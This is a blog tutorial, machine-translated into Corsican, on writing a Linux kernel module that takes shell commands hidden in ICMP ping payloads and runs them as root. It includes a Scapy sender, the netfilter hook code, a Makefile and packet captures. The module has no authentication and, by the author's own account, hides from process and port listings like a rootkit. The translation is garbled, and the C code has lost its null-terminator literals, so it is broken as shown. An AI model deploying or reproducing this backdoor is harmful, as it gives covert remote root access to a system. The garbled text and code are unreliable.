Conchiglia nucleare sopra ICMP

Conchiglia nucleare sopra ICMP

TL; DR: Scrivu un modulu di kernel chì leghjerà cumandamenti da a carica ICMP è eseguisce nantu à u servitore ancu s'ellu u vostru SSH falla. Per i più impazienti, tuttu u codice hè github.

Avè I programatori C sperimentati rischianu di scoppia in lacrime di sangue! Puderaghju ancu esse sbagliatu in a terminologia, ma ogni critica hè benvenuta. U post hè destinatu à quelli chì anu una idea assai grossa di prugrammazione C è volenu guardà l'internu di Linux.

In i cumenti à u mo primu articulu hà citatu SoftEther VPN, chì pò imità certi protokolli "regulari", in particulare HTTPS, ICMP è ancu DNS. Puderaghju solu cum'è u primu di elli travaglià, postu chì sò assai familiarizatu cù HTTP (S), è aghju avutu à amparà tunneling over ICMP è DNS.

Conchiglia nucleare sopra ICMP

Iè, in 2020 aghju amparatu chì pudete inserisce una carica arbitraria in i pacchetti ICMP. Ma megliu tardu chè mai ! E postu chì qualcosa pò esse fattu per questu, allora deve esse fattu. Siccomu in a mo vita di ogni ghjornu aghju utilizatu più spessu a linea di cummanda, cumpresu via SSH, l'idea di una cunchiglia ICMP hè vinuta prima in mente. È per assemblà un bingo di bullshield cumpletu, aghju decisu di scrive cum'è un modulu Linux in una lingua chì aghju solu una idea grossa. Un tali cunchiglia ùn serà micca visibile in a lista di prucessi, pudete carricà in u kernel è ùn serà micca nantu à u sistema di schedari, ùn vi vede nunda suspettu in a lista di porti d'ascolta. In quantu à e so capacità, questu hè un rootkit cumpletu, ma spergu di migliurà è l'utilizanu cum'è una cunchiglia di l'ultimu risorsu quandu u Load Average hè troppu altu per login via SSH è eseguisce almenu. echo i > /proc/sysrq-triggerper restaurà l'accessu senza rebooting.

Pigliemu un editore di testu, cumpetenze di prugrammazione basi in Python è C, Google è virtuale chì ùn vi importa micca di mette sottu à u cuteddu se tuttu si rompe (opcional - VirtualBox / KVM / etc.) è andemu!

Latu di u cliente

Mi paria chì per a parte di u cliente avissi da scrive un script cù circa 80 linee, ma ci era persone gentili chì l'anu fattu per mè. tuttu u travagliu. U codice hè diventatu inaspettatamente simplice, chì si mette in 10 linee impurtanti:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

U script piglia dui argumenti, un indirizzu è una carica. Prima di mandà, a carica hè preceduta da una chjave run:, avemu bisognu per escludiri pacchetti cù carichi casuali.

U kernel hà bisognu di privilegi per creà pacchetti, cusì u script duverà esse eseguitu cum'è superuser. Ùn vi scurdate di dà permessi di esecuzione è stallà scapy stessu. Debian hà un pacchettu chjamatu python3-scapy. Avà pudete verificà cumu tuttu funziona.

Esecuzione è uscita u cumandamentu
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Questu hè ciò chì pare in u sniffer
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

U payload in u pacchettu di risposta ùn cambia micca.

Modulu Kernel

Per custruisce in una macchina virtuale Debian avete bisognu di almenu make и linux-headers-amd64, u restu vinarà in forma di dipendenze. Ùn furnisce micca u codice sanu in l'articulu pudete clone nantu à Github.

Configurazione di ganciu

Per principià, avemu bisognu di duie funzioni per carricà u modulu è scaricallu. A funzione di scaricamentu ùn hè micca necessariu, ma dopu rmmod ùn hà micca travagliatu u modulu serà scaricatu solu quandu si spegne.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Cosa si passa quì:

  1. Dui fugliali di l'intestazione sò attirati per manipulà u modulu stessu è u netfilter.
  2. Tutte l'operazioni passanu per un netfilter, pudete stabilisce ganci in questu. Per fà questu, avete bisognu di dichjarà a struttura in quale u ganciu serà cunfiguratu. A più impurtante hè di specificà a funzione chì serà eseguita cum'è un ganciu: nfho.hook = icmp_cmd_executor; Aghju da vene à a funzione stessu dopu.
    Allora aghju stabilitu u tempu di trasfurmazioni per u pacchettu: NF_INET_PRE_ROUTING specifica di processà u pacchettu quandu appare prima in u kernel. Pò esse usatu NF_INET_POST_ROUTING per processà u pacchettu mentre esce da u kernel.
    Aghju stabilitu u filtru à IPv4: nfho.pf = PF_INET;.
    Dà u mo ganciu a più alta priorità: nfho.priority = NF_IP_PRI_FIRST;
    È aghju registratu a struttura di dati cum'è u ganciu propiu: nf_register_net_hook(&init_net, &nfho);
  3. A funzione finale elimina u ganciu.
  4. A licenza hè chjaramente indicata per chì u compilatore ùn si lamenta micca.
  5. Funzioni module_init() и module_exit() stabilisce altre funzioni per inizializà è finisce u modulu.

Recuperazione di u payload

Avà avemu bisognu di caccià a carica utile, questu hè diventatu u travagliu più difficiule. U kernel ùn hà micca funzioni integrate per travaglià cù carichi utili, pudete solu parse headers di protokolli di livellu più altu.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Chì succede:

  1. Aviu avutu à include i fugliali d'intestazione supplementari, sta volta per manipulà l'intestazione IP è ICMP.
  2. Aghju stabilitu a lunghezza massima di a linea: #define MAX_CMD_LEN 1976. Perchè esattamente questu? Perchè u compilatore si lagna! Anu digià suggeritu à mè chì aghju bisognu di capiscenu a pila è u munzeddu, un ghjornu certamenti fà questu è forse ancu currettu u codice. Aghju stabilitu immediatamente a linea chì cuntene u cumandamentu: char cmd_string[MAX_CMD_LEN];. Deve esse visibile in tutte e funzioni, parleraghju di questu in più detail in u paràgrafu 9.
  3. Avà avemu bisognu di inizializà (struct work_struct my_work;) struttura è cunnetta cù una altra funzione (DECLARE_WORK(my_work, work_handler);). Parlaraghju ancu perchè questu hè necessariu in u nuvimu paràgrafu.
  4. Avà dichjarà una funzione chì serà un ganciu. U tipu è l'argumenti accettati sò dettati da u netfilter, ci interessa solu skb. Questu hè un buffer di socket, una struttura di dati fundamentali chì cuntene tutte l'infurmazioni dispunibili nantu à un pacchettu.
  5. Per u funziunamentu di a funzione, avete bisognu di duie strutture è parechje variàbili, cumprese dui iteratori.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Pudemu principià cù a logica. Per u modulu per travaglià, ùn ci hè micca bisognu di pacchetti altru ch'è ICMP Echo, cusì analizemu u buffer utilizendu funzioni integrate è scaccià tutti i pacchetti non-ICMP è non-Echo. Ritorna NF_ACCEPT significa l'accettazione di u pacchettu, ma pudete ancu abbandunà i pacchetti riturnendu NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Ùn aghju micca pruvatu ciò chì succede senza verificà l'intestazione IP. A mo cunniscenza minima di C mi dice chì senza cuntrolli supplementari, qualcosa di terribili hè obligatu à succede. Seraghju cuntentu s'ellu mi dissuade di questu!

  7. Avà chì u pacchettu hè di u tipu esatta chì avete bisognu, pudete estrarre i dati. Senza una funzione integrata, avete prima avè un punteru à u principiu di a carica. Questu hè fattu in un locu, avete bisognu à piglià l'indicatore à u principiu di l'intestazione ICMP è spustà à a dimensione di questu capu. Tuttu usa struttura icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    A fine di l'intestazione deve currisponde à a fine di u payload in skb, dunque l'ottenemu cù i mezi nucleari da a struttura currispondente: tail = skb_tail_pointer(skb);.

    Conchiglia nucleare sopra ICMP

    A stampa hè stata arrubbata da quì, pudete leghje più nantu à u socket buffer.

  8. Una volta avete punters à u principiu è à a fine, pudete copià e dati in una stringa cmd_string, verificate per a presenza di un prefissu run: è, o scaccià u pacchettu s'ellu manca, o riscrivite a linea di novu, cacciendu stu prefissu.
  9. Eccu, avà pudete chjamà un altru gestore: schedule_work(&my_work);. Siccomu ùn hè micca pussibule di passà un paràmetru à una tale chjama, a linea cù u cumandamentu deve esse globale. schedule_work() metterà a funzione assuciata cù a struttura passata in a fila generale di u pianificatore di u compitu è ​​cumpleta, chì vi permette di ùn aspittà chì u cumandamentu finisci. Questu hè necessariu perchè u ganciu deve esse assai veloce. Altrimenti, a vostra scelta hè chì nunda ùn hà da principià o avete un panicu di u kernel. U ritardu hè cum'è a morte !
  10. Hè cusì, pudete accettà u pacchettu cù un ritornu currispundente.

Chjama un prugramma in u spaziu d'utilizatore

Sta funzione hè a più capiscibile. U so nome hè statu datu DECLARE_WORK(), u tipu è l'argumenti accettati ùn sò micca interessanti. Pigliemu a linea cù u cumandamentu è u passanu sanu à a cunchiglia. Chì ellu trattà cù l'analisi, a ricerca di binari è tuttu u restu.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Pone l'argumenti à un array di strings argv[]. Assumimu chì ognunu sapi chì i prugrammi sò veramente eseguiti in questu modu, è micca cum'è una linea cuntinua cù spazii.
  2. Stabbilisce variabili di l'ambiente. Aghju inseritu solu PATH cù un minimu minimu di camini, sperendu chì tutti eranu digià cumminati /bin с /usr/bin и /sbin с /usr/sbin. L'altri camini raramente importanu in pratica.
  3. Fattu, femu ! Funzione Kernel call_usermodehelper() accetta l'entrata. percorsu à u binariu, array of arguments, array of environment variables. Eccu ancu assume chì tutti capiscenu u significatu di passà a strada à u schedariu eseguibile cum'è un argumentu separatu, ma pudete dumandà. L'ultimu argumentu specifica s'ellu si deve aspittà chì u prucessu finisci (UMH_WAIT_PROC), principiu di prucessu (UMH_WAIT_EXEC) o ùn aspittà nunda (UMH_NO_WAIT). Ci hè un pocu di più UMH_KILLABLE, ùn aghju micca guardatu.

Assemblea

L'assemblea di i moduli di u kernel hè realizatu attraversu u kernel make-framework. Chjamatu make in un cartulare speciale ligatu à a versione di u kernel (definitu quì: KERNELDIR:=/lib/modules/$(shell uname -r)/build), è u locu di u modulu hè passatu à a variabile M in l'argumenti. L'icmpshell.ko è i miri puliti utilizanu stu quadru sanu. IN obj-m indica u schedariu d'ughjettu chì serà cunvertitu in un modulu. Sintassi chì rifà main.o в icmpshell.o (icmpshell-objs = main.o) ùn mi pare micca assai logicu, ma cusì sia.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Raccogliemu: make. Caricamentu: insmod icmpshell.ko. Fattu, pudete verificà: sudo ./send.py 45.11.26.232 "date > /tmp/test". Sì avete un schedariu nantu à a vostra macchina /tmp/test è cuntene a data chì a dumanda hè stata mandata, chì significa chì avete fattu tuttu bè è aghju fattu tuttu bè.

cunchiusioni

A mo prima sperienza cù u sviluppu nucleare hè stata assai più faciule ch'è m'aspittava. Ancu senza sperienza in u sviluppu in C, cuncintratu nantu à i suggerimenti di compilatore è i risultati di Google, aghju pussutu scrive un modulu di travagliu è sentu cum'è un pirate di kernel, è à u stessu tempu un script kiddie. Inoltre, aghju andatu à u canale Kernel Newbies, induve m'hà dettu di utilizà schedule_work() invece di chjamà call_usermodehelper() à l'internu di u ganciu stessu è l'anu vergognatu, suspettendu à ghjustizia una scam. Un centu di linee di codice mi costanu circa una settimana di sviluppu in u mo tempu liberu. Una sperienza riescita chì hà distruttu u mo mitu persunale nantu à a cumplessità eccessiva di u sviluppu di u sistema.

Se qualchissia accetta di fà una rivisione di codice in Github, vi saraghju grati. Sò sicuru ch'e aghju fattu assai sbaglii stupidi, soprattuttu quandu u travagliu cù e corde.

Conchiglia nucleare sopra ICMP

Source: www.habr.com

Add a comment